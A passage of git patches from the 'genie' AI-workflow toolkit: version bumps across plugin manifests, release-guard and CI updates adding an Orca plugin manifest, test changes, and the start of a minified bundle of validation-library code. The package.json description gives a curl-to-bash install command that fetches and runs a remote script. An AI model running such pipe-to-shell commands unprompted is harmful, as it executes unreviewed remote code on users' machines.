"license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 7edfcfb71..4e2911592 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.3 +version: 5.260829.4 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 18a88171f..9fee38dc1 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.3", + "version": "5.260829.4", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From d3e7ff82b84216c028484b684c99c57a83c59a36 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 20:24:40 +0000 Subject: [PATCH 11/45] fix(release): ship native Orca plugin payload (#2812) --- .github/workflows/version.yml | 5 +++-- plugins/genie/orca-plugin.json | 2 +- scripts/build-binary.sh | 2 ++ scripts/release-docs.test.ts | 1 + scripts/release-guard.sh | 2 ++ scripts/release-guard.test.ts | 3 ++- scripts/release-payload-version.test.ts | 15 +++++++++++++++ scripts/release-payload-version.ts | 1 + scripts/version-ci-staging.test.ts | 2 ++ scripts/version-format.test.ts | 2 ++ scripts/version.ts | 2 ++ 11 files changed, 33 insertions(+), 4 deletions(-) diff --git a/.github/workflows/version.yml b/.github/workflows/version.yml index 4a5975834..cc0450bb5 100644 --- a/.github/workflows/version.yml +++ b/.github/workflows/version.yml @@ -185,7 +185,7 @@ jobs: # SECURITY: every command in this step is trusted workflow control loaded # from main. Do not run package scripts, dependency installers, hooks, or # any executable from the dev checkout in this write-capable workflow. - - name: Synchronize the exact seven version fields + - name: Synchronize the exact nine version fields if: steps.context.outputs.should_bump == 'true' env: VERSION: ${{ steps.version.outputs.version }} @@ -196,6 +196,7 @@ jobs: plugins/genie/.claude-plugin/plugin.json plugins/genie/.codex-plugin/plugin.json plugins/genie/.kimi-plugin/plugin.json + plugins/genie/orca-plugin.json plugins/genie/package.json plugins/pi-genie/package.json ) @@ -268,7 +269,7 @@ jobs: EXPECTED="$(printf '%s\n' "${VERSION_PATHS[@]}" | LC_ALL=C sort)" ACTUAL="$(git diff --cached --name-only -- | LC_ALL=C sort)" if [[ "$ACTUAL" != "$EXPECTED" ]]; then - echo "::error ::release-version.delta_untrusted expected exactly eight version files" + echo "::error ::release-version.delta_untrusted expected exactly nine version files" printf 'expected:\n%s\nactual:\n%s\n' "$EXPECTED" "$ACTUAL" >&2 exit 1 fi diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index a3c35d3bc..6d182f09c 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260829.1", + "version": "5.260829.4", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/scripts/build-binary.sh b/scripts/build-binary.sh index 971d80fd5..a3c033e13 100755 --- a/scripts/build-binary.sh +++ b/scripts/build-binary.sh @@ -129,6 +129,8 @@ for required in \ ".claude-plugin/marketplace.json" \ "plugins/genie/.codex-plugin/plugin.json" \ "plugins/genie/.kimi-plugin/plugin.json" \ + "plugins/genie/orca-plugin.json" \ + "plugins/genie/orca-entrypoint.min.js" \ "plugins/genie/scripts/mcp-launcher.cjs" \ "plugins/genie/.claude-plugin/plugin.json" \ "plugins/genie/hooks/hooks.json" \ diff --git a/scripts/release-docs.test.ts b/scripts/release-docs.test.ts index 7d9e1356c..099eda059 100644 --- a/scripts/release-docs.test.ts +++ b/scripts/release-docs.test.ts @@ -63,6 +63,7 @@ describe('Group E release and documentation contracts', () => { 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', 'plugins/genie/package.json', 'plugins/pi-genie/package.json', '.claude-plugin/marketplace.json', diff --git a/scripts/release-guard.sh b/scripts/release-guard.sh index a97290524..5be540462 100755 --- a/scripts/release-guard.sh +++ b/scripts/release-guard.sh @@ -158,6 +158,7 @@ version_child_matches_parent() { 'plugins/genie/.claude-plugin/plugin.json' \ 'plugins/genie/.codex-plugin/plugin.json' \ 'plugins/genie/.kimi-plugin/plugin.json' \ + 'plugins/genie/orca-plugin.json' \ 'plugins/genie/package.json' \ 'plugins/pi-genie/package.json' \ 'plugins/hermes-genie/plugin.yaml' | LC_ALL=C sort)" @@ -169,6 +170,7 @@ version_child_matches_parent() { plugins/genie/.claude-plugin/plugin.json \ plugins/genie/.codex-plugin/plugin.json \ plugins/genie/.kimi-plugin/plugin.json \ + plugins/genie/orca-plugin.json \ plugins/genie/package.json \ plugins/pi-genie/package.json; do git show "${child_sha}:${path}" | diff --git a/scripts/release-guard.test.ts b/scripts/release-guard.test.ts index 73023b54c..88c2ee5dd 100644 --- a/scripts/release-guard.test.ts +++ b/scripts/release-guard.test.ts @@ -308,6 +308,7 @@ function writeVersionTree(root: string, version: string, packageScript?: string) ['plugins/genie/.claude-plugin/plugin.json', { name: 'genie', version }], ['plugins/genie/.codex-plugin/plugin.json', { name: 'genie', version }], ['plugins/genie/.kimi-plugin/plugin.json', { name: 'genie', version }], + ['plugins/genie/orca-plugin.json', { id: 'genie', version }], ['plugins/genie/package.json', { name: 'genie-plugin', version }], ['plugins/pi-genie/package.json', { name: 'genie-pi-plugin', version }], ]; @@ -339,7 +340,7 @@ function versionRepo(packageScript?: string) { } describe('check-version-child (parent CI inheritance)', () => { - test('accepts the exact deterministic six-field auto-version child', () => { + test('accepts the exact deterministic version-only child', () => { const fixture = versionRepo(); const result = guard('check-version-child', {}, [fixture.parent, fixture.child, '5.260714.2'], fixture.root); expect(result.exitCode).toBe(0); diff --git a/scripts/release-payload-version.test.ts b/scripts/release-payload-version.test.ts index 5ccde234a..50e542efa 100644 --- a/scripts/release-payload-version.test.ts +++ b/scripts/release-payload-version.test.ts @@ -30,6 +30,7 @@ describe('release payload version contract', () => { 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', ]) { writeJson(root, path, { name: 'genie', version: '5.000000.0' }); } @@ -68,6 +69,7 @@ describe('release payload version contract', () => { 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', ]) { expect(JSON.parse(readFileSync(join(root, path), 'utf8')).version).toBe(version); } @@ -87,6 +89,17 @@ describe('release payload version contract', () => { expect(() => verifyReleasePayloadVersion(root, version)).toThrow('.codex-plugin/plugin.json'); }); + test('verification catches a diverging or missing native Orca manifest', () => { + const root = fixture(); + const version = '5.260711.10'; + stampReleasePayloadVersion(root, version); + writeJson(root, 'plugins/genie/orca-plugin.json', { id: 'genie', version: '5.260711.9' }); + expect(() => verifyReleasePayloadVersion(root, version)).toThrow('orca-plugin.json'); + + rmSync(join(root, 'plugins/genie/orca-plugin.json')); + expect(() => verifyReleasePayloadVersion(root, version)).toThrow('metadata is missing'); + }); + test('source preflight rejects committed drift before a staged override can hide it', () => { const root = fixture(); expect(verifyCommittedReleaseVersions(root)).toBe('5.000000.0'); @@ -119,5 +132,7 @@ describe('release payload version contract', () => { expect(sourcePreflight).toBeLessThan(stageStamp); expect(buildScript).toContain('release-payload-version.ts" --stamp'); expect(buildScript).toContain('release-payload-version.ts" --verify'); + expect(buildScript).toContain('"plugins/genie/orca-plugin.json"'); + expect(buildScript).toContain('"plugins/genie/orca-entrypoint.min.js"'); }); }); diff --git a/scripts/release-payload-version.ts b/scripts/release-payload-version.ts index d5984e902..978d69603 100644 --- a/scripts/release-payload-version.ts +++ b/scripts/release-payload-version.ts @@ -18,6 +18,7 @@ const TOP_LEVEL_VERSION_FILES = [ 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', ] as const; const COMMITTED_VERSION_FILES = ['package.json', ...TOP_LEVEL_VERSION_FILES] as const; diff --git a/scripts/version-ci-staging.test.ts b/scripts/version-ci-staging.test.ts index bde5e1dd5..3135e8f7c 100644 --- a/scripts/version-ci-staging.test.ts +++ b/scripts/version-ci-staging.test.ts @@ -34,6 +34,7 @@ describe('synchronizeVersionFiles CI staging', () => { 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', 'plugins/genie/package.json', 'plugins/pi-genie/package.json', ]) { @@ -71,6 +72,7 @@ describe('synchronizeVersionFiles CI staging', () => { const staged = stagedPaths(root); expect(staged).toContain('plugins/hermes-genie/plugin.yaml'); expect(staged).toContain('plugins/pi-genie/package.json'); + expect(staged).toContain('plugins/genie/orca-plugin.json'); expect(staged).toContain('package.json'); expect(staged).toContain('.claude-plugin/marketplace.json'); // The rewritten value is actually on disk (staging did not mask a no-op). diff --git a/scripts/version-format.test.ts b/scripts/version-format.test.ts index 2845c27ad..3fdb75a95 100644 --- a/scripts/version-format.test.ts +++ b/scripts/version-format.test.ts @@ -49,6 +49,7 @@ describe('manifest version formatting', () => { 'plugins/genie/.claude-plugin/plugin.json', 'plugins/genie/.codex-plugin/plugin.json', 'plugins/genie/.kimi-plugin/plugin.json', + 'plugins/genie/orca-plugin.json', 'plugins/genie/package.json', 'plugins/pi-genie/package.json', ]) { @@ -120,6 +121,7 @@ describe('manifest version formatting', () => { ); // The pi plugin manifest carries the same release version. expect(JSON.parse(readFileSync(join(root, 'plugins/pi-genie/package.json'), 'utf8')).version).toBe('5.260711.3'); + expect(JSON.parse(readFileSync(join(root, 'plugins/genie/orca-plugin.json'), 'utf8')).version).toBe('5.260711.3'); rmSync(join(root, 'plugins/genie/.codex-plugin/plugin.json')); await expect(synchronizeVersionFiles(root, '5.260711.4')).rejects.toThrow( diff --git a/scripts/version.ts b/scripts/version.ts index ebaae205d..e15f6659f 100644 --- a/scripts/version.ts +++ b/scripts/version.ts @@ -14,6 +14,7 @@ * - package.json (root) * - plugins/genie/.claude-plugin/plugin.json (Claude Code) * - plugins/genie/.codex-plugin/plugin.json (Codex) + * - plugins/genie/orca-plugin.json (Orca) * - plugins/genie/package.json (runtime payload metadata) * - .claude-plugin/marketplace.json (marketplace listing) * - plugins/hermes-genie/plugin.yaml (Hermes native surface, YAML manifest) @@ -199,6 +200,7 @@ export async function synchronizeVersionFiles(rootDir: string, version: string): join(rootDir, 'plugins/genie/.claude-plugin/plugin.json'), join(rootDir, 'plugins/genie/.codex-plugin/plugin.json'), join(rootDir, 'plugins/genie/.kimi-plugin/plugin.json'), + join(rootDir, 'plugins/genie/orca-plugin.json'), join(rootDir, 'plugins/genie/package.json'), join(rootDir, 'plugins/pi-genie/package.json'), ]; From 05d99d9d3222f37988325b654026952da2defb6f Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sat, 29 Aug 2026 20:26:49 +0000 Subject: [PATCH 12/45] chore(version): bump to 5.260829.5 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 5954d3428..50e28b47e 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260829.4", + "version": "5.260829.5", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 3be9b2472..ad7bc77fd 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260829.4", + "version": "5.260829.5", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index 8a29f7ed3..0fc07e9c2 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.4", + "version": "5.260829.5", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index a39eaa20b..e3b733896 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.4", + "version": "5.260829.5", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index b5cae89ed..5c17d8948 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260829.4", + "version": "5.260829.5", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 300ada4bf..7eb11d946 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260829.4", + "version": "5.260829.5", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 4e2911592..cff48edce 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260829.4 +version: 5.260829.5 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index 9fee38dc1..3dfb69db7 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260829.4", + "version": "5.260829.5", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From dce5752774e6cadf6cf3661d6f85d50df429af62 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 20:53:59 +0000 Subject: [PATCH 13/45] fix(orca): support 1.4.192 runtime probe (#2813) * fix(orca): probe runtime compatibility through status * fix(release): synchronize Orca plugin version --- plugins/genie/orca-entrypoint.min.js | 4 +- plugins/genie/orca-plugin.json | 4 +- plugins/genie/orca-real-runtime-smoke.test.ts | 14 +- plugins/genie/orca-runtime.test.ts | 44 +++- plugins/genie/orca-runtime.ts | 15 +- plugins/genie/plugin.json | 2 +- scripts/release-payload-version.test.ts | 15 +- src/lib/orca-orchestration-adapter.test.ts | 52 +++++ src/lib/orca-orchestration-adapter.ts | 203 +++++++++++++++--- 9 files changed, 300 insertions(+), 53 deletions(-) diff --git a/plugins/genie/orca-entrypoint.min.js b/plugins/genie/orca-entrypoint.min.js index 03a7a189a..9618f675c 100644 --- a/plugins/genie/orca-entrypoint.min.js +++ b/plugins/genie/orca-entrypoint.min.js @@ -1,2 +1,2 @@ -var fW=Object.defineProperty;var CW=($)=>$;function vW($,W){this[$]=CW.bind(null,W)}var IW=($,W)=>{for(var H in W)fW($,H,{get:W[H],enumerable:!0,configurable:!0,set:vW.bind(W,H)})};import{spawn as c3}from"node:child_process";var U={};IW(U,{void:()=>S3,util:()=>D,unknown:()=>w3,union:()=>L3,undefined:()=>B3,tuple:()=>K3,transformer:()=>P3,symbol:()=>_3,string:()=>YW,strictObject:()=>N3,setErrorMap:()=>hW,set:()=>F3,record:()=>E3,quotelessJson:()=>PW,promise:()=>I3,preprocess:()=>g3,pipeline:()=>T3,ostring:()=>x3,optional:()=>k3,onumber:()=>y3,oboolean:()=>m3,objectUtil:()=>l$,object:()=>R3,number:()=>qW,nullable:()=>h3,null:()=>M3,never:()=>z3,nativeEnum:()=>v3,nan:()=>X3,map:()=>b3,makeIssue:()=>b$,literal:()=>f3,lazy:()=>O3,late:()=>G3,isValid:()=>r,isDirty:()=>k$,isAsync:()=>_$,isAborted:()=>P$,intersection:()=>V3,instanceof:()=>Q3,getParsedType:()=>c,getErrorMap:()=>q$,function:()=>A3,enum:()=>C3,effect:()=>P3,discriminatedUnion:()=>D3,defaultErrorMap:()=>d,datetimeRegex:()=>GW,date:()=>q3,custom:()=>XW,coerce:()=>Z3,boolean:()=>_W,bigint:()=>Y3,array:()=>U3,any:()=>j3,addIssueToContext:()=>M,ZodVoid:()=>A$,ZodUnknown:()=>o,ZodUnion:()=>S$,ZodUndefined:()=>w$,ZodType:()=>L,ZodTuple:()=>n,ZodTransformer:()=>Z,ZodSymbol:()=>F$,ZodString:()=>T,ZodSet:()=>X$,ZodSchema:()=>L,ZodRecord:()=>O$,ZodReadonly:()=>K$,ZodPromise:()=>Y$,ZodPipeline:()=>v$,ZodParsedType:()=>B,ZodOptional:()=>y,ZodObject:()=>F,ZodNumber:()=>a,ZodNullable:()=>i,ZodNull:()=>z$,ZodNever:()=>u,ZodNativeEnum:()=>L$,ZodNaN:()=>C$,ZodMap:()=>f$,ZodLiteral:()=>N$,ZodLazy:()=>R$,ZodIssueCode:()=>_,ZodIntersection:()=>U$,ZodFunction:()=>M$,ZodFirstPartyTypeKind:()=>S,ZodError:()=>I,ZodEnum:()=>e,ZodEffects:()=>Z,ZodDiscriminatedUnion:()=>h$,ZodDefault:()=>D$,ZodDate:()=>G$,ZodCatch:()=>V$,ZodBranded:()=>g$,ZodBoolean:()=>j$,ZodBigInt:()=>t,ZodArray:()=>x,ZodAny:()=>Q$,Schema:()=>L,ParseStatus:()=>C,OK:()=>v,NEVER:()=>l3,INVALID:()=>z,EMPTY_PATH:()=>gW,DIRTY:()=>J$,BRAND:()=>J3});var D;(function($){$.assertEqual=(J)=>{};function W(J){}$.assertIs=W;function H(J){throw Error()}$.assertNever=H,$.arrayToEnum=(J)=>{let Q={};for(let X of J)Q[X]=X;return Q},$.getValidEnumValues=(J)=>{let Q=$.objectKeys(J).filter((Y)=>typeof J[J[Y]]!=="number"),X={};for(let Y of Q)X[Y]=J[Y];return $.objectValues(X)},$.objectValues=(J)=>{return $.objectKeys(J).map(function(Q){return J[Q]})},$.objectKeys=typeof Object.keys==="function"?(J)=>Object.keys(J):(J)=>{let Q=[];for(let X in J)if(Object.prototype.hasOwnProperty.call(J,X))Q.push(X);return Q},$.find=(J,Q)=>{for(let X of J)if(Q(X))return X;return},$.isInteger=typeof Number.isInteger==="function"?(J)=>Number.isInteger(J):(J)=>typeof J==="number"&&Number.isFinite(J)&&Math.floor(J)===J;function G(J,Q=" | "){return J.map((X)=>typeof X==="string"?`'${X}'`:X).join(Q)}$.joinValues=G,$.jsonStringifyReplacer=(J,Q)=>{if(typeof Q==="bigint")return Q.toString();return Q}})(D||(D={}));var l$;(function($){$.mergeShapes=(W,H)=>{return{...W,...H}}})(l$||(l$={}));var B=D.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),c=($)=>{switch(typeof $){case"undefined":return B.undefined;case"string":return B.string;case"number":return Number.isNaN($)?B.nan:B.number;case"boolean":return B.boolean;case"function":return B.function;case"bigint":return B.bigint;case"symbol":return B.symbol;case"object":if(Array.isArray($))return B.array;if($===null)return B.null;if($.then&&typeof $.then==="function"&&$.catch&&typeof $.catch==="function")return B.promise;if(typeof Map<"u"&&$ instanceof Map)return B.map;if(typeof Set<"u"&&$ instanceof Set)return B.set;if(typeof Date<"u"&&$ instanceof Date)return B.date;return B.object;default:return B.unknown}};var _=D.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),PW=($)=>{return JSON.stringify($,null,2).replace(/"([^"]+)":/g,"$1:")};class I extends Error{get errors(){return this.issues}constructor($){super();this.issues=[],this.addIssue=(H)=>{this.issues=[...this.issues,H]},this.addIssues=(H=[])=>{this.issues=[...this.issues,...H]};let W=new.target.prototype;if(Object.setPrototypeOf)Object.setPrototypeOf(this,W);else this.__proto__=W;this.name="ZodError",this.issues=$}format($){let W=$||function(J){return J.message},H={_errors:[]},G=(J)=>{for(let Q of J.issues)if(Q.code==="invalid_union")Q.unionErrors.map(G);else if(Q.code==="invalid_return_type")G(Q.returnTypeError);else if(Q.code==="invalid_arguments")G(Q.argumentsError);else if(Q.path.length===0)H._errors.push(W(Q));else{let X=H,Y=0;while(Y<Q.path.length){let q=Q.path[Y];if(Y!==Q.path.length-1)X[q]=X[q]||{_errors:[]};else X[q]=X[q]||{_errors:[]},X[q]._errors.push(W(Q));X=X[q],Y++}}};return G(this),H}static assert($){if(!($ instanceof I))throw Error(`Not a ZodError: ${$}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,D.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten($=(W)=>W.message){let W={},H=[];for(let G of this.issues)if(G.path.length>0){let J=G.path[0];W[J]=W[J]||[],W[J].push($(G))}else H.push($(G));return{formErrors:H,fieldErrors:W}}get formErrors(){return this.flatten()}}I.create=($)=>{return new I($)};var kW=($,W)=>{let H;switch($.code){case _.invalid_type:if($.received===B.undefined)H="Required";else H=`Expected ${$.expected}, received ${$.received}`;break;case _.invalid_literal:H=`Invalid literal value, expected ${JSON.stringify($.expected,D.jsonStringifyReplacer)}`;break;case _.unrecognized_keys:H=`Unrecognized key(s) in object: ${D.joinValues($.keys,", ")}`;break;case _.invalid_union:H="Invalid input";break;case _.invalid_union_discriminator:H=`Invalid discriminator value. Expected ${D.joinValues($.options)}`;break;case _.invalid_enum_value:H=`Invalid enum value. Expected ${D.joinValues($.options)}, received '${$.received}'`;break;case _.invalid_arguments:H="Invalid function arguments";break;case _.invalid_return_type:H="Invalid function return type";break;case _.invalid_date:H="Invalid date";break;case _.invalid_string:if(typeof $.validation==="object")if("includes"in $.validation){if(H=`Invalid input: must include "${$.validation.includes}"`,typeof $.validation.position==="number")H=`${H} at one or more positions greater than or equal to ${$.validation.position}`}else if("startsWith"in $.validation)H=`Invalid input: must start with "${$.validation.startsWith}"`;else if("endsWith"in $.validation)H=`Invalid input: must end with "${$.validation.endsWith}"`;else D.assertNever($.validation);else if($.validation!=="regex")H=`Invalid ${$.validation}`;else H="Invalid";break;case _.too_small:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at least":"more than"} ${$.minimum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at least":"over"} ${$.minimum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="bigint")H=`Number must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${new Date(Number($.minimum))}`;else H="Invalid input";break;case _.too_big:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at most":"less than"} ${$.maximum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at most":"under"} ${$.maximum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="bigint")H=`BigInt must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly":$.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number($.maximum))}`;else H="Invalid input";break;case _.custom:H="Invalid input";break;case _.invalid_intersection_types:H="Intersection results could not be merged";break;case _.not_multiple_of:H=`Number must be a multiple of ${$.multipleOf}`;break;case _.not_finite:H="Number must be finite";break;default:H=W.defaultError,D.assertNever($)}return{message:H}},d=kW;var e$=d;function hW($){e$=$}function q$(){return e$}var b$=($)=>{let{data:W,path:H,errorMaps:G,issueData:J}=$,Q=[...H,...J.path||[]],X={...J,path:Q};if(J.message!==void 0)return{...J,path:Q,message:J.message};let Y="",q=G.filter((j)=>!!j).slice().reverse();for(let j of q)Y=j(X,{data:W,defaultError:Y}).message;return{...J,path:Q,message:Y}},gW=[];function M($,W){let H=q$(),G=b$({issueData:W,data:$.data,path:$.path,errorMaps:[$.common.contextualErrorMap,$.schemaErrorMap,H,H===d?void 0:d].filter((J)=>!!J)});$.common.issues.push(G)}class C{constructor(){this.value="valid"}dirty(){if(this.value==="valid")this.value="dirty"}abort(){if(this.value!=="aborted")this.value="aborted"}static mergeArray($,W){let H=[];for(let G of W){if(G.status==="aborted")return z;if(G.status==="dirty")$.dirty();H.push(G.value)}return{status:$.value,value:H}}static async mergeObjectAsync($,W){let H=[];for(let G of W){let J=await G.key,Q=await G.value;H.push({key:J,value:Q})}return C.mergeObjectSync($,H)}static mergeObjectSync($,W){let H={};for(let G of W){let{key:J,value:Q}=G;if(J.status==="aborted")return z;if(Q.status==="aborted")return z;if(J.status==="dirty")$.dirty();if(Q.status==="dirty")$.dirty();if(J.value!=="__proto__"&&(typeof Q.value<"u"||G.alwaysSet))H[J.value]=Q.value}return{status:$.value,value:H}}}var z=Object.freeze({status:"aborted"}),J$=($)=>({status:"dirty",value:$}),v=($)=>({status:"valid",value:$}),P$=($)=>$.status==="aborted",k$=($)=>$.status==="dirty",r=($)=>$.status==="valid",_$=($)=>typeof Promise<"u"&&$ instanceof Promise;var w;(function($){$.errToObj=(W)=>typeof W==="string"?{message:W}:W||{},$.toString=(W)=>typeof W==="string"?W:W?.message})(w||(w={}));class m{constructor($,W,H,G){this._cachedPath=[],this.parent=$,this.data=W,this._path=H,this._key=G}get path(){if(!this._cachedPath.length)if(Array.isArray(this._key))this._cachedPath.push(...this._path,...this._key);else this._cachedPath.push(...this._path,this._key);return this._cachedPath}}var $W=($,W)=>{if(r(W))return{success:!0,data:W.value};else{if(!$.common.issues.length)throw Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let H=new I($.common.issues);return this._error=H,this._error}}}};function N($){if(!$)return{};let{errorMap:W,invalid_type_error:H,required_error:G,description:J}=$;if(W&&(H||G))throw Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);if(W)return{errorMap:W,description:J};return{errorMap:(X,Y)=>{let{message:q}=$;if(X.code==="invalid_enum_value")return{message:q??Y.defaultError};if(typeof Y.data>"u")return{message:q??G??Y.defaultError};if(X.code!=="invalid_type")return{message:Y.defaultError};return{message:q??H??Y.defaultError}},description:J}}class L{get description(){return this._def.description}_getType($){return c($.data)}_getOrReturnCtx($,W){return W||{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}_processInputParams($){return{status:new C,ctx:{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}}_parseSync($){let W=this._parse($);if(_$(W))throw Error("Synchronous parse encountered promise.");return W}_parseAsync($){let W=this._parse($);return Promise.resolve(W)}parse($,W){let H=this.safeParse($,W);if(H.success)return H.data;throw H.error}safeParse($,W){let H={common:{issues:[],async:W?.async??!1,contextualErrorMap:W?.errorMap},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},G=this._parseSync({data:$,path:H.path,parent:H});return $W(H,G)}"~validate"($){let W={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)};if(!this["~standard"].async)try{let H=this._parseSync({data:$,path:[],parent:W});return r(H)?{value:H.value}:{issues:W.common.issues}}catch(H){if(H?.message?.toLowerCase()?.includes("encountered"))this["~standard"].async=!0;W.common={issues:[],async:!0}}return this._parseAsync({data:$,path:[],parent:W}).then((H)=>r(H)?{value:H.value}:{issues:W.common.issues})}async parseAsync($,W){let H=await this.safeParseAsync($,W);if(H.success)return 